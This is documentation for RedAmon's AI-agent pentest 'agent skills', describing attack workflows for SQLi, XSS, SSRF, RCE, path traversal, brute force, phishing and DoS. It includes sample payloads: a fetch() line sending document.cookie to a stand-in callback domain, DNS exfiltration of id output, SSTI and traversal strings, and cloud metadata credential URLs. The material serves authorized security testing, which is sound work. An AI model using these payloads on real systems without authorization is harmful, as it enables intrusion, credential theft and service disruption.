📖 Canonical version: read this page on the official docs site — https://www.redamon.org/docs/agent-skills. The GitHub wiki is a mirror.

RedAmon uses agent skills to guide the AI agent through specific exploitation workflows. Each skill defines the tools, workflow steps, and phase-specific behavior the agent follows when executing an attack. Skills are divided into two categories: built-in skills (shipped with RedAmon) and user skills (custom .md files you upload).

1. Overview
2. User Agent Skills
   • Uploading a New Skill
   • Writing a Skill File
   • Enabling Skills per Project
3. How Classification Works
   • Classification Badge
4. Built-in Skills
   • CVE (MSF)
   • SQL Injection
   • Cross-Site Scripting (XSS)
   • Server-Side Request Forgery (SSRF)
   • Remote Code Execution (RCE)
   • Insecure Deserialization
   • Path Traversal / LFI / RFI
   • Hydra Credential Testing
   • Social Engineering Simulation
   • Availability Testing
5. Unclassified Fallback

RedAmon also has a separate Chat Skills system for on-demand reference injection via /skill in the chat. If you are looking for that, see Chat Skills.

Quick distinction:

• Agent Skills (this page) = phase-aware attack workflows that drive classification and tool routing. The agent follows them step by step.
• Chat Skills = tactical reference docs (tool playbooks, vulnerability guides) injected on the fly when you need them. They do not affect classification.

For a full comparison table, see Chat Skills > Complete Skill System Comparison.

The agent supports two types of agent skills:

Each skill provides workflow prompts that guide the agent step by step. The unclassified fallback is used when no skill matches — the agent uses all available tools generically.

User agent skills let you teach the agent custom attack workflows that go beyond the built-in CVE/credential-testing/social-engineering paths. Each skill is a Markdown (.md) file that describes the complete attack workflow — from reconnaissance through exploitation to post-exploitation.

Key difference from built-in skills: The agent has no prior knowledge of your custom skill. The .md content is injected directly into the agent's prompt in all three phases (informational, exploitation, post-exploitation), so the agent sees your instructions throughout the entire session.

Each user skill has an optional description field — a short summary (1-2 sentences) that tells the Intent Router what the skill is about. This is used for classification instead of truncating the skill content, saving tokens and improving accuracy. You can add or edit descriptions from Global Settings.

User agent skills are uploaded from the Global Settings page (/settings), under the Agent Skills section.

Steps:

1. Navigate to Global Settings (gear icon in the top bar, far right)
2. Scroll to the Agent Skills section
3. Click Upload Skill (.md) and select your Markdown file
4. A modal appears — enter a descriptive name and an optional description (1-2 sentences summarizing what this skill does, used by the LLM to classify requests — e.g., "SQL injection testing against web app parameters using sqlmap")
5. Click Upload — the skill is saved and immediately available for all projects

You can delete skills from the same section. Deleting a skill automatically removes it from all project configurations.

Each skill in the Global Settings list has a pencil icon (edit) button. Click it to update the skill's description — this is the short summary the Intent Router uses to decide when to select this skill. Without a description, the first 500 characters of the markdown content are used as a fallback.

A skill .md file should contain:

1. When to Classify Here — Keywords and scenarios that trigger this skill (helps the LLM classify correctly)
2. Phase 1: Reconnaissance (Informational) — What to discover before exploitation (injection surfaces, technology stack, parameters)
3. Phase 2: Exploitation — Step-by-step attack workflow with tool commands
4. Phase 3: Post-Exploitation (optional) — What to do after a successful exploit (data extraction, privilege escalation)
5. Reporting Guidelines — What to include in findings
6. Important Notes — Guardrails, flags, limits

Example — SQL Injection skill:

# SQL Injection Attack Skill

## When to Classify Here
Use this skill when the user requests testing for SQL injection vulnerabilities, including:
- Testing web application forms, URL parameters, or API endpoints for SQLi
- Exploiting known SQL injection points
- Extracting data from databases via injection

## Workflow

### Phase 1: Reconnaissance (Informational)
1. **Identify injection surfaces** — Use `query_graph` to find web applications,
   HTTP services, and known endpoints on the target.
2. **Discover parameters** — Use `kali_shell` to run directory/parameter discovery:

katana -u http:// -d 2 -jc -o urls.txt

3. **Check technology stack** — Identify the backend database from service banners
or known stack info in the graph.

Once surfaces are identified, **request transition to exploitation phase**.

### Phase 2: Exploitation
1. **Automated scan with sqlmap**:

sqlmap -u "http:///page?id=1" --batch --level=3 --risk=2 --random-agent

2. **Manual verification** — For confirmed injection points:

sqlmap -u "" -p --dbs --batch sqlmap -u "" -p -D --tables --batch

## Reporting Guidelines
- Endpoint and parameter, injection type, database type, impact demonstration

## Important Notes
- Always use `--batch` with sqlmap to avoid interactive prompts
- Do NOT dump entire databases — extract only enough to prove the vulnerability

The agent reads this file verbatim in its system prompt and follows the steps for each phase.

Download these ready-to-upload skill files as starting templates:

• SQL Injection Skill — sqlmap-based workflow covering parameter discovery, automated scanning, database enumeration, and post-exploitation (OS shell, file read)
• Cross-Site Scripting (XSS) Skill — reflected, stored, and DOM-based XSS testing with WAF bypass techniques and impact demonstration

Upload them directly in Global Settings > Agent Skills or use them as templates to write your own.

A growing collection of ready-to-use attack skill files contributed by the community. Each one is a battle-tested .md workflow you can upload directly via Global Settings > Agent Skills and start using immediately.

Looking for community Chat Skills (reference docs, tool guides)? See Chat Skills > Community Chat Skills.

How to use: Click any skill above, download the .md file, then go to Global Settings (/settings) and upload it in the Agent Skills section. Skills are stored per user -- each user uploads and manages their own set of skills. Once uploaded, the skill becomes available as a toggle in all project settings, and the agent will follow its workflow step by step during pentest sessions.

Built a custom attack skill that works well? Share it! The community grows stronger when pentesters contribute their field-tested workflows.

How to contribute:

1. Create your .md skill file following the Writing a Skill File format above
2. Test it in your RedAmon instance by uploading it via Global Settings
3. Once you are happy with the results, fork the repo and add your .md file to the agentic/community-skills/ folder
4. Open a Pull Request with a short description of what the skill covers and what tools it uses

Every contribution helps the community tackle new attack surfaces faster. Whether it is a niche technique like WebSocket hijacking or a comprehensive methodology like cloud pentesting, your workflow can save other pentesters hours of prompt engineering.

Each project can independently enable or disable any combination of built-in and user skills. This is configured in the project's Agent Skills tab (Tab 13 in the project form).

Behavior:

• All skills are enabled by default — newly uploaded user skills are automatically available in all projects
• Toggle OFF to exclude a skill from classification for that project
• If no user skills exist, a link to Global Settings is shown so you can upload one
• Disabled skills are excluded from the classification candidates — the agent will never select them

When you send a message to the agent, the Intent Router (an LLM classification step) runs once at the start of each new objective. It analyzes your request and determines:

1. Phase: Is this informational (reconnaissance) or exploitation (active attack)?
2. Agent skill: Which skill matches the request?

The classification considers all enabled skills for the current project — both built-in and user. To minimize token usage, the classification prompt uses lightweight summaries rather than full workflow details: built-in skills use short keyword-based descriptions, and user skills use the description field (or the first 500 characters of content as fallback):

User request
    │
    ├── Mentions SQL injection, SQLi, sqlmap, database dump, union/blind injection?
    │   └── sql_injection
    │
    ├── Mentions XSS, cross-site scripting, DOM sinks, dalfox, blind XSS, CSP bypass?
    │   └── xss
    │
    ├── Mentions SSRF, internal request, IMDS / cloud metadata, gopher, DNS rebinding?
    │   └── ssrf
    │
    ├── Mentions RCE, command injection, SSTI, deserialization, ysoserial, Log4Shell?
    │   └── rce
    │
    ├── Mentions path traversal, LFI / RFI, ../, php://filter, log poisoning, Zip Slip?
    │   └── path_traversal
    │
    ├── Mentions CVE ID, vulnerability, or exploit module?
    │   └── cve_exploit
    │
    ├── Mentions password, brute force, credentials, wordlist?
    │   └── brute_force_credential_guess
    │
    ├── Mentions phishing, payload, malicious document, msfvenom?
    │   └── phishing_social_engineering
    │
    ├── Mentions DoS, denial of service, flooding, crash?
    │   └── denial_of_service
    │
    ├── Matches a user skill's description (or content preview)?
    │   └── user_skill:<id>  (e.g., XXE, BFLA, IDOR, mass assignment, subdomain takeover)
    │
    ├── Matches a known technique but no skill?
    │   └── <term>-unclassified  (e.g., file_upload-unclassified)
    │
    └── General recon with no specific attack intent?
        └── recon-unclassified

The classification determines which workflow prompts the agent sees — regardless of phase. All built-in skills inject their full workflow into the agent's prompt from the start of the session, so the agent has structured guidance throughout both informational and exploitation phases. User skills inject their full .md content in the same way.

Once classified, the agent skill badge appears in the agent drawer's status bar next to the phase indicator. It shows throughout all phases (informational, exploitation, post-exploitation).

Hover the badge to see a tooltip with all available skills organized by group (Built-in / User Skills), with:

• A checkmark on the currently classified skill
• OFF label on disabled skills (greyed out)

Built-in skills ship with RedAmon. Each has a dedicated workflow prompt that is injected into the agent's system prompt from the start of the session, guiding the agent step by step through the attack methodology.

Classification: cve_exploit Badge: CVE/MSF (orange) Tools: metasploit_console, kali_shell, execute_code

The agent searches for a matching Metasploit exploit module, configures target parameters and payload (reverse/bind shell), and fires the exploit. Supports both statefull (Meterpreter session) and stateless (one-shot command) post-exploitation.

12-Step Workflow:

1. search CVE-XXXX-XXXXX — find exploit module
2. use exploit/path/... — load module
3. info — get module description
4. show targets — list OS/app versions
5. show options — display configurable params
6. set TARGET <N> — select target type
7. show payloads — list compatible payloads
8. set CVE CVE-XXXX-XXXXX — set CVE variant
9. set PAYLOAD <payload> — choose payload
10. set RHOSTS/RPORT/SSL — configure connection
11. set LHOST/LPORT (or CMD) — mode-specific options
12. exploit — execute

No-Module Fallback: When no Metasploit module exists for a CVE, the agent falls back to manual exploitation using execute_code, kali_shell, execute_nuclei, and execute_curl with PoC scripts.

Classification: sql_injection Badge: SQLi (cyan) Tools: kali_shell (sqlmap, interactsh-client), execute_curl, execute_code

SQL injection testing using SQLMap and manual techniques. Covers error-based, union-based, blind boolean, blind time-based, and out-of-band (OOB) DNS exfiltration via interactsh-client.

7-Step Workflow:

1. Target Analysis — execute_curl baseline request to identify injectable parameters, technology stack, and DBMS hints
2. SQLMap Detection — kali_shell runs sqlmap with configured level/risk to detect injection points and DBMS
3. WAF Bypass — if WAF detected, retry with tamper scripts (space2comment, randomcase, charencode, etc.)
4. Exploitation — based on detected technique: error-based/union (fast), blind boolean/time-based, or OOB DNS exfiltration
5. Long Scan Mode — for scans exceeding 120s: background sqlmap process with polling
6. Data Extraction — prioritized: banner → current user → databases → tables → columns → dump
7. Post-SQLi Escalation — file read (--file-read), file write (--file-write), OS shell (--os-shell)

OOB DNS Exfiltration: For blind injection where time-based is too slow, the agent starts interactsh-client as a background process to get a registered callback domain, injects OOB payloads (DBMS-specific), and polls for DNS interactions containing exfiltrated data.

Payload Reference: The workflow includes static reference tables for auth bypass payloads, WAF bypass encodings, tamper scripts, and DBMS-specific error/time-based payloads.

You: "Try SQL injection on http://target.com/login.jsp"

1. Step 1: Agent sends baseline request with execute_curl, identifies POST form with uid/passw parameters, server is Apache-Coyote (Tomcat)
2. Phase transition: Agent requests transition to exploitation
3. Step 2: Agent runs sqlmap -u ... --data='uid=test&passw=test' -p uid --batch --random-agent --dbs
4. Step 4: If sqlmap detects injection → enumerates databases, extracts tables and data
5. Step 7: If privileges allow → attempts file read, OS shell

Classification: xss Badge: XSS (green) Tools: execute_curl, execute_playwright, kali_shell (dalfox, kxss, interactsh-client), execute_code, query_graph

End-to-end XSS testing covering reflected, stored, DOM-based, and blind XSS. The agent runs a structured discovery sweep, detects the injection context surrounding each reflected canary, picks payloads matched to that context, and proves execution with the Playwright dialog handler. Falls back to dalfox automated WAF evasion when manual payloads are filtered, and to interactsh-client OOB callbacks for stored payloads that fire only in privileged contexts (admin viewers).

8-Step Workflow:

1. Reuse recon — query_graph pulls existing Endpoints, Parameters, Forms, BaseURLs, and Technologies from the graph before re-discovering anything. After Step 1 the agent transitions to exploitation.
2. Surface input vectors — execute_playwright renders the target with a real browser to enumerate <form>, <input>, URL params, and inline JS sources (location.hash, document.referrer, postMessage, localStorage) that curl alone misses.
3. Canary reflection sweep — execute_curl injects the canary rEdAm0n1337XsS into every parameter (query, body, header, cookie) and inspects 30 chars of context around each reflection to classify it: HTML body, attribute (quoted/unquoted), JS string, JS code, CSS, URL, or DOM fragment.
4. Per-char filter probe — kali_shell runs kxss against every reflecting parameter to learn which dangerous chars (< > " ' ( ) ;) survive unescaped. This eliminates blind tag-spraying — if < is encoded but " is not, only attribute-breakout payloads are tried.
5. Context-aware payload selection — payloads are picked from the reference table matched to BOTH the detected context AND the surviving chars.
6. DOM XSS via Playwright script mode — installs init scripts that monkey-patch innerHTML, eval, and document.write to log every value passed in, then navigates with source-tainted URLs (hash/search/referrer/postMessage/localStorage).
7. Verify execution — Playwright page.on("dialog", ...) captures alert()/confirm()/prompt() firings — the canonical proof. Captured dialog message + URL are recorded as the PoC artifact.
8. WAF / filter bypass via dalfox — only triggered if Steps 4–6 fail. Runs in background mode (dalfox url URL --silence --waf-evasion --deep-domxss --mining-dom), polled like the SQLi long-scan pattern.

OOB / Blind XSS Workflow (gated on the XSS_BLIND_CALLBACK_ENABLED setting): identical setup pattern to the SQLi OOB workflow — interactsh-client runs as a background process to register a callback domain, payloads embedding fetch('http://REGISTERED_DOMAIN/?c='+document.cookie) are submitted into stored fields (comments, profile bios, support tickets), and the agent polls the interactsh log for protocol: http entries containing exfiltrated cookies.

Payload Reference: the workflow includes static reference tables for HTML body / attribute / JS string / JS code / URL / CSS / DOM-fragment payloads, plus polyglots (Brute Logic), a 12-row WAF bypass encoding table, and a 9-row CSP bypass shortcut table covering unsafe-inline, unsafe-eval, JSONP gadgets, nonce reuse, AngularJS template injection, and <base> tag hijack.

You: "Test for XSS on the search field at http://target.tld/?q=test"

1. Step 1: Agent runs query_graph for endpoints/parameters on target.tld, finds /search?q= already mapped from recon
2. Phase transition: Agent requests transition to exploitation
3. Step 3: Agent injects canary into every discovered parameter; canary reflects unescaped inside <h2>Results for "..."</h2> → HTML body context
4. Step 3b: kxss reports [" ' < > $ | ( ) : ; { }]` survive unfiltered → tag injection works
5. Step 4: Picks <svg onload=alert("PROOF")> from the HTML body payload list
6. Step 6: Playwright dialog handler captures dialog (alert): PROOF → XSS confirmed
7. Completion: Reports the URL + payload + captured dialog as the proof artifact

Classification: ssrf Badge: SSRF (orange) Tools: execute_curl, kali_shell (interactsh-client), query_graph, execute_code

End-to-end SSRF testing covering classic, blind, and semi-blind variants. The agent reuses recon, registers an out-of-band oracle through interactsh, walks internal address space, attempts cloud metadata pivots (AWS IMDSv1/v2, GCP, Azure, DigitalOcean, Alibaba), pivots through protocol smuggling (gopher / dict / file / FastCGI / Redis / Docker), and runs DNS rebinding bypasses for parsers that resolve hostnames twice.

Workflow:

1. Surface inventory -- query_graph to pull URL-fetcher endpoints, webhook receivers, link-preview / open-graph generators, image proxies, file-import URLs, and SSO callbacks already mapped from recon
2. Establish OAST oracle -- kali_shell runs interactsh-client as a background process; the registered domain becomes the canary for blind SSRF callbacks
3. Internal address probing -- execute_curl drives payloads against 127.0.0.1, 0.0.0.0, IPv6 loopback, and the configured internal CIDR ranges; port-scans the configured port list to find reachable internal services
4. Cloud metadata pivots -- AWS IMDSv1 (http://169.254.169.254/latest/meta-data/iam/security-credentials/), IMDSv2 (PUT-then-GET token flow), GCP (metadata.google.internal/computeMetadata/v1/ with Metadata-Flavor: Google), Azure IMDS, DigitalOcean and Alibaba metadata; gated on the per-project provider list
5. Protocol smuggling -- gopher:// to Redis (SLAVEOF, CONFIG SET dir, RDB-write to web root), dict:// for banner grabs, file:// for local file disclosure, FastCGI gopher chains for RCE, Docker-socket abuse via unix://
6. DNS rebinding -- 1u.ms, nip.io, rbndr.us, custom make-1.1.1.1-rebind-127.0.0.1.<rebind-domain> records when the parser resolves the hostname twice
7. Reporting -- the agent records the exact callback URL, captured metadata blob, internal hostname / port, and impact tier (read-only metadata / credential theft / RCE chain)

OOB / Blind SSRF Workflow (gated on SSRF_OOB_CALLBACK_ENABLED): identical OAST setup as the SQLi and XSS skills -- interactsh runs as a background process, payloads embed the registered domain in URL/Host/Referer/X-Forwarded-Host headers, and the agent polls the interactsh log for protocol: dns (resolved) and protocol: http (fetched) entries.

Payload Reference: the workflow includes static reference tables for parser-confusion bypasses (@, #, ?, \\, [::1], octal / decimal / hex IP encodings), URL allowlist breakouts, redirect-chain abuse (302 to 127.0.0.1), and HackerOne precedent reports.

You: "Test for SSRF on the avatar URL importer at https://target.tld/api/profile/import-avatar"

1. Step 1: Agent queries the graph for known fetcher endpoints, finds the importer in the project graph
2. Phase transition: Agent requests transition to exploitation
3. Step 2: Spawns interactsh-client in the background, captures the registered callback domain
4. Step 3: Submits the avatar URL pointing at http://127.0.0.1:6379/; gets back a Redis NOAUTH response in the body -- internal Redis confirmed
5. Step 4: Switches to http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrates the IAM role document
6. Reports: Pre-signed credentials, AWS account ID, role name, severity Critical

Classification: rce Badge: RCE (rose) Tools: execute_curl, execute_code, kali_shell (commix, sstimap, ysoserial, interactsh-client), execute_playwright, query_graph

RCE testing across six primitives in one coherent skill: shell-metachar command injection (commix), server-side template injection (sstimap), insecure deserialization gadget chains (ysoserial / phpggc / pickle / Marshal / BinaryFormatter), eval / OGNL / SpEL / MVEL expression injection, media + document pipeline RCE (ImageMagick / Ghostscript / ExifTool / LaTeX), and SSRF-to-RCE chains (Redis, FastCGI, Docker socket). Built around an OWASP-aligned 4-stage rigor framework: Confirmation -> Fingerprint -> Targeted Exfiltration -> Critical Impact.

Workflow:

1. Reuse recon -- query_graph pulls existing endpoints / parameters / technologies before re-enumerating
2. Surface candidate sinks -- execute_curl and execute_playwright enumerate parameters that look likely to reach system() / template renderers / object deserializers
3. Establish a quiet oracle -- interactsh-client background process FIRST, before any noisy payloads, so blind RCE produces a deterministic signal
4. Confirm exactly one primitive (OWASP Stage 1) -- single-payload confirmation per primitive: backtick / ; / | for command injection, {{7*7}} family for SSTI, ysoserial URLDNS oracle for Java deserialization, etc.
5. Fingerprint the execution context (Stage 2) -- OS, shell, language runtime, container vs host, available tooling
6. Demonstrate impact (Stage 3) -- read-only proofs by default: id, hostname, /etc/passwd, environment variables, IAM credential file
7. Critical impact (Stage 4) -- gated on RCE_AGGRESSIVE_PAYLOADS: file write, persistent web shells, container / k8s escape probes, mandatory cleanup
8. Long-running exploitation -- commix / sstimap > 120s use the same background-process pattern as the SQLi long-scan workflow
9. Reporting -- proof level 1-4 per Shannon-derived rigor framework, false-positive gate

OOB / Blind RCE Workflow (gated on RCE_OOB_CALLBACK_ENABLED): same interactsh setup pattern; payloads exfiltrate whoami / id / hostname output as DNS subdomain labels ($(id | base32 | head -c 30).REGISTERED_DOMAIN), and the agent polls the interactsh log for protocol: dns entries.

Deserialization Workflow (gated on RCE_DESERIALIZATION_ENABLED): per-language playbook -- ysoserial gadget selection (URLDNS / CommonsCollections1-7 / Spring), .NET BinaryFormatter / TypeNameHandling / LosFormatter (+ ViewState via viewgen), PHP phpggc framework chains plus manual __wakeup / __destruct app-class gadgets, Python pickle, Ruby Marshal (via ruby), Jackson / FastJSON typing.

Aggressive Mode Block: RCE_AGGRESSIVE_PAYLOADS=False (default) installs an explicit "no destructive payloads, read-only proofs only" notice. True swaps in a permissive block that allows file write, web shells, and container escape probes with mandatory cleanup steps.

You: "Try RCE on the Jinja2-rendered notification preview at https://target.tld/admin/notifications/preview"

1. Step 1-2: Agent queries the graph + Playwright-renders the form, confirms the {{ user_input }} is template-evaluated server-side
2. Phase transition: Agent requests transition to exploitation
3. Step 3: Background interactsh ready; oracle domain captured
4. Step 4 (Stage 1): {{7*7}} returns 49 -- SSTI confirmed; sstimap fingerprints Jinja2
5. Step 5 (Stage 2): {{ ''.__class__.__mro__[1].__subclasses__() }} enumerates available classes
6. Step 6 (Stage 3): Reads /etc/passwd and AWS credentials via subprocess.Popen
7. Reports: Engine, payload, captured cat /etc/passwd, severity Critical

Classification: deserialization Badge: DESER (amber) Default: OFF -- an operator enables it per project (gated posture) Tools: query_graph, the traffic tools (search / fetch_transaction), execute_curl, execute_code, kali_shell (interactsh-client, ysoserial, phpggc, ruby, viewgen)

Confirms the insecure-deserialization candidates that recon's Serialized Object Detection already flagged, and finds new ones where recon could not see. It is the dedicated, committed-angle counterpart to the broader rce skill: pick deserialization when the request names a deserialization sink, a serializer/format, or a gadget tool (ysoserial / phpggc / pickle / unserialize / ViewState / Marshal); pick rce for generic command execution with no committed deserialization angle. Black-box only; recon never deserializes, and the default path never runs code.

Workflow:

1. Reuse recon FIRST -- query_graph for pending candidates (:Vulnerability {source:'serialized_scan', needs_agent_confirmation:true} with no incoming CONFIRMS edge), as a deterministic read (ORDER BY v.id + an explicit LIMIT, paging by id > $last), capturing each id and its deser_* metadata
2. Pull the original request with the traffic tools (search by endpoint / method, or fetch_transaction) rather than re-crawling; if there are no candidates, probe from scratch using the family signatures
3. Non-destructive out-of-band oracle (the DEFAULT, no code run) -- a Java URLDNS blob, a Python __reduce__-DNS pickle, or the per-language equivalent that only performs a DNS / HTTP callback; a hit confirms the sink deserializes attacker bytes with zero impact
4. Per-language track (adapted from the shipped insecure_deserialization community skill) -- Java / PHP / Python / .NET / Ruby gadget selection
5. Report with finding_type='vulnerability_confirmed' and the EXACT captured candidate id, so the orchestration lands (:ChainFinding)-[:CONFIRMS]->(candidate) and the Priority Board promotes the candidate to T1 (a plain custom finding type lands the edge but never promotes)
6. Verify the edge landed -- re-query the candidate; a wrong / cross-tenant id matches nothing silently, so re-report if absent
7. Escalate to an exec gadget -- gated on DESERIALIZATION_EXEC_GADGETS_ENABLED (default OFF); the default path stops at the non-destructive oracle

The recon half that feeds this skill is Serialized Object Detection. Enable BOTH the recon module (serializedScanEnabled) and this skill for the full detect→confirm cycle; the Serialized Object Scan settings card alerts you when one is on without the other.

Classification: path_traversal Badge: PATH (teal) Tools: execute_curl, execute_ffuf, execute_playwright, kali_shell (interactsh-client), query_graph, execute_code

File-disclosure testing covering classic path traversal, Local File Inclusion (LFI), Remote File Inclusion (RFI), PHP wrapper-driven source disclosure (php://filter, data://, expect://, zip://, phar://), log poisoning to RCE, /proc and cloud-credential file reads, parser/normalisation mismatches across nginx + backend, and archive-extraction Zip Slip.

Workflow:

1. Reuse recon -- query_graph to find file-bearing parameters: file=, path=, template=, download=, lang=, include=, image-proxy / preview / export endpoints
2. Surface candidate sinks -- execute_curl, execute_playwright, execute_ffuf to enumerate file-handling endpoints
3. Establish a deterministic oracle -- request a known-good file (/etc/hostname, /etc/issue) BEFORE noisy traversal; gives a content-baseline to diff against
4. Confirm exactly one primitive (OWASP Stage 1) -- standard ../etc/passwd, encoded variants (%2e%2e%2f, %252f double-decode, ..%c0%af), absolute paths, nginx alias bypasses (..;/)
5. Fingerprint the disclosure context (Stage 2) -- determine OS, web server, backend language, file-handling policy
6. Targeted exfiltration (Stage 3) -- prioritized targets: source code via php://filter/convert.base64-encode/, .env, AWS credentials at ~/.aws/credentials, /proc/self/environ, web.config / wp-config.php
7. Long-running automation -- ffuf with SecLists LFI-Jhaddix.txt for high-fanout traversal sweeps
8. Reporting -- proof level 1-4 with the Shannon-derived rigor framework, false-positive gate (e.g., HTML error pages that contain /etc/passwd content as documentation)

PHP Wrappers + Log Poisoning (gated on PATH_TRAVERSAL_PHP_WRAPPERS_ENABLED): per-wrapper playbook -- php://filter to base64-encode source, data:// for inline payloads, expect:// for direct command execution, zip:// and phar:// chains, log poisoning via Apache / nginx access log + LFI for RCE, session and upload-temp-file inclusion.

OOB / RFI Workflow (gated on PATH_TRAVERSAL_OOB_CALLBACK_ENABLED): interactsh as the RFI oracle -- if the target accepts remote inclusion (http://...), the agent points it at the OAST domain and watches for HTTP fetches.

Archive Extraction (Zip Slip / TarSlip) -- gated on PATH_TRAVERSAL_ARCHIVE_EXTRACTION_ENABLED (default OFF because these primitives WRITE files outside the target directory, which is state-mutating).

You: "Look for LFI on the report download endpoint at https://target.tld/reports?file=summary.pdf"

1. Step 1: Agent finds the endpoint already mapped in the graph
2. Phase transition: Agent requests transition to exploitation
3. Step 3 (oracle): Requests ?file=/etc/hostname, gets the hostname back -- traversal confirmed without payload
4. Step 4 (Stage 1): ?file=../../../../etc/passwd returns the passwd file
5. Step 5 (Stage 2): PHP detected from response headers
6. Step 6 (Stage 3): ?file=php://filter/convert.base64-encode/resource=index.php returns base64-encoded source
7. Reports: Endpoint, working payload, exfiltrated source / credentials, severity High

Classification: http_request_smuggling Badge: DESYNC (lime) Default: OFF (fail-closed -- see the note below)

Desynchronizes a FRONT tier (reverse proxy / load balancer / CDN / cache) from the BACK-END app so a smuggled request prefix is prepended to the NEXT request on a connection. That lets the agent reach endpoints the front tier blocks, poison another user's request, or bypass access controls enforced only at the edge. The flaw lives in a CHAIN of HTTP processors disagreeing on where one request ends -- not in a single app parameter (SQLi/XSS) or a URL fetcher (SSRF).

Workflow highlights:

1. Confirm a front/back-end chain -- only pursue smuggling on a proven multi-tier path (Via, X-Cache, CF-Ray, differing Server / X-* headers, or a front tier that answers some paths itself). A single server with nothing in front is NOT smuggling.
2. Detect the desync (discrepancy-first) -- with byte-exact raw sockets over one keep-alive connection, probe CL.TE, TE.CL and TE.TE (obfuscated Transfer-Encoding): a body framed one way for the front tier and another for the back-end. Timing is a SCREENING signal only -- a clean timing probe does NOT mean safe, because mitigations mask the classic signal while the parser discrepancy remains.
3. Rule out pipelining, then weaponize -- a "desync" proved only on a reused connection is HTTP pipelining, not a desync; confirm the effect on a SEPARATE fresh connection. Then smuggle toward the objective, varying the smuggled request's Host / authority to reach internal-only backends the front tier normally rewrites, and read the smuggled response.

Tooling: raw-socket probes are scripted in execute_code (Python socket / http.client, unique filename= per run) or kali_shell; execute_curl / execute_httpx cannot be used because they normalize the framing and destroy the ambiguity. The workflow is injected verbatim in the exploitation phase and has no per-skill tunables.

Why default OFF (fail-closed). execute_code / kali_shell run raw sockets in the sandbox and bypass check_egress, the capture proxy, AND the non-disableable in-scope tool guardrail (which is enforced only against declared in-scope domains, never the host a raw socket dials), and agent findings are not yet persisted to the graph. Enable this skill per project in the Agent Skills tab once the engagement's egress / RoE decision is settled.

Classification: crypto_attack Badge: CRYPT (violet)

End-to-end attacks on cryptographic constructions the target trusts: decrypting or forging an attacker-controllable ciphertext, cookie, token, signature, or MAC by exploiting HOW it is encrypted, signed, hashed, or generated -- rather than guessing a secret or trusting an unverified claim. The agent inventories every value the server decrypts or verifies, fingerprints its construction, and runs the matching break.

Workflow highlights:

1. Inventory + fingerprint -- decode every cookie / token / signature / ciphertext parameter (base64 / hex), record the raw byte length, and fingerprint the construction: block-cipher block size, ECB block repeats, a JWT's alg, a keyed-hash / MAC trailer, an RSA n/e/c triple, or a predictable / sequential token.
2. Oracle detection (primary lead) -- probe the decrypt / verify / login endpoint for an ERROR DIFFERENTIAL (a padding / format failure answering differently from a wrong-content / failed-auth response, including timing). A distinguishable padding error is a CBC padding oracle that decrypts or forges the token with no key.
3. Construction-specific breaks -- CBC bit-flipping and ECB cut-and-paste / byte-at-a-time; stream-cipher keystream / nonce reuse (two-time pad); JWT alg:none, HS/RS algorithm confusion, weak-secret cracking, and kid / jwk / jku injection; hash length extension on H(secret || message); RSA weaknesses (small e, shared / close primes, Wiener, Hastad, Bleichenbacher); and predictable-PRNG / token reconstruction (LCG, Mersenne Twister, time-seeded). Classical-cipher and layered-encoding decodes are ruled out first.

Tooling: byte-level and number-theory attacks are scripted in execute_code (Python: PyCryptodome, cryptography, pwntools, PyJWT, hashlib); kali_shell provides openssl, jwt_tool, and hashcat / john for JWT / secret cracking. The workflow is injected verbatim in the exploitation phase and has no per-skill tunables.

Classification: brute_force_credential_guess Badge: BRUTE (purple) Tool: execute_hydra

Uses THC Hydra to test credentials against 50+ authentication protocols. The agent automatically selects appropriate wordlists, configures protocol-specific parameters, and establishes access after credentials are discovered.

Supported protocols include: SSH, FTP, RDP, VNC, SMB, Telnet, MySQL, MSSQL, PostgreSQL, Oracle, MongoDB, Redis, POP3, IMAP, SMTP, HTTP Basic, HTTP POST form, Tomcat, WordPress, Jenkins, and many more.

Configuration: Threads, timeouts, extra checks, and retry strategies are configurable per project in the Agent Skills tab. See Project Settings Reference > Hydra Credential Testing.

Classification: phishing_social_engineering Badge: SE (pink) Tools: kali_shell (msfvenom), metasploit_console (handler, web_delivery), execute_code (email sending)

This skill covers authorized social engineering simulation as part of a penetration testing engagement. It guides the agent through payload generation, delivery mechanism setup, and handler configuration for testing an organization's human-layer defenses.

Requires: Explicit written authorization for social engineering testing in the Rules of Engagement (RoE). The skill is automatically disabled when the RoE does not permit social engineering.

Workflow: The agent follows a structured workflow — determine target platform and delivery method, set up the Metasploit handler, generate the payload or delivery mechanism, verify generation, and report the artifacts for the tester to deliver through the agreed-upon channel.

Configuration: Social engineering simulation settings (SMTP configuration for authorized email delivery) are configurable per project in the Agent Skills tab.

Classification: denial_of_service Badge: DoS (red) Tools: metasploit_console, kali_shell (hping3, slowhttptest), execute_code, execute_curl

Disrupts service availability using flooding, resource exhaustion, and crash exploits. Unlike other skills, DoS does not provide access — the agent uses action="complete" after verifying impact and never transitions to post-exploitation.

• No post-exploitation — DoS disrupts, it doesn't grant access
• Vector-based tool selection — each DoS category has its own optimal tool (not a global priority)
• Assessment-only mode — optional safety setting to only check for vulnerabilities without attacking
• Forbidden in stealth mode — all DoS techniques are inherently noisy

You: "DoS the web server on 10.0.0.5"

1. Informational phase: Agent queries graph for service info, runs nmap -sV, researches known DoS CVEs
2. Classification: Classified as denial_of_service
3. Exploitation phase: Agent selects vector (e.g., slowloris for Apache), executes slowhttptest, verifies impact with curl
4. Completion: Reports success/failure with action="complete" — no post-exploitation

Classification: <descriptive_term>-unclassified (e.g., ssrf-unclassified, file_upload-unclassified) Badge: grey Tools: All available exploitation tools

When no skill (built-in or user) matches the request, the classifier generates a descriptive snake_case term followed by -unclassified:

• "Test for SSRF on the API" → ssrf-unclassified
• "Upload a web shell" → file_upload-unclassified
• "Try directory traversal" → directory_traversal-unclassified
• "Show me the attack surface" → recon-unclassified

The agent uses all available tools generically without a mandatory workflow. The ReAct reasoning loop handles these based on the LLM's general knowledge.

Tip: Instead of relying on the unclassified fallback, consider uploading a user skill for your technique. A custom .md file with specific tool commands and workflow steps will produce significantly better results than the generic fallback.

• AI Agent Guide — full guide to the AI agent chat interface, phases, and tools
• Project Settings Reference — configure Hydra, phishing SMTP, and tool phase restrictions
• EvoGraph — Attack Chain Evolution — how attack chains and findings are tracked across sessions